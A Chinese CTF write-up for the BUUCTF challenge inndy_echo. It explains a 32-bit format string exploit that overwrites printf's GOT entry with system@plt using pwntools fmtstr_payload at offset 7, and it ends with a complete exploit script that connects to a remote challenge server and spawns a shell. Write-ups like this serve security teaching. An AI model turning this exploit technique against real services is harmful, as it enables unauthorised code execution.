[BUUCTF]PWN——inndy_echo（32位fmt修改got表）

inndy_echo

附件

步骤

1. 例行检查，32位程序，开启了nx保护
   

2. 本地试运行一下，看看大概的情况，已经看到存在格式化字符串漏洞了，而且还是可以一直输入的哪种
   

3. 32位ida载入
   
   看到程序里存在格式化字符串漏洞，而且有system函数，想到的是将printf@got修改为system@plt，由于一开始system没用执行，所以got表里的地址不对，得用plt表里的。然后传入bin/sh即可

4. pwntools集成了一个很强的工具，我们可以通过它快速修改对应的值，
   命令格式： fmtstr_payload(argue_place, {printf_got_addr: system_plt_addr})
   其中argue_place代表payload中前四个字符所在的参数位置（就是说%p$n中p的值,我们长叫它偏移量）

5. 理清楚思路后先来确定一下偏移量，确定偏移为7
   
   因此可以直接使用 fmtstr_payload(7,{print_got:system_plt})即可完成修改，之后传入参数‘/bin/sh’

完整exp

from pwn import *

r=remote('node3.buuoj.cn',27843)
elf=ELF('./echo')

printf_got=elf.got['printf']
system_plt=elf.plt['system']

payload=fmtstr_payload(7,{printf_got:system_plt})

r.sendline(payload)
r.sendline('/bin/sh')
r.interactive()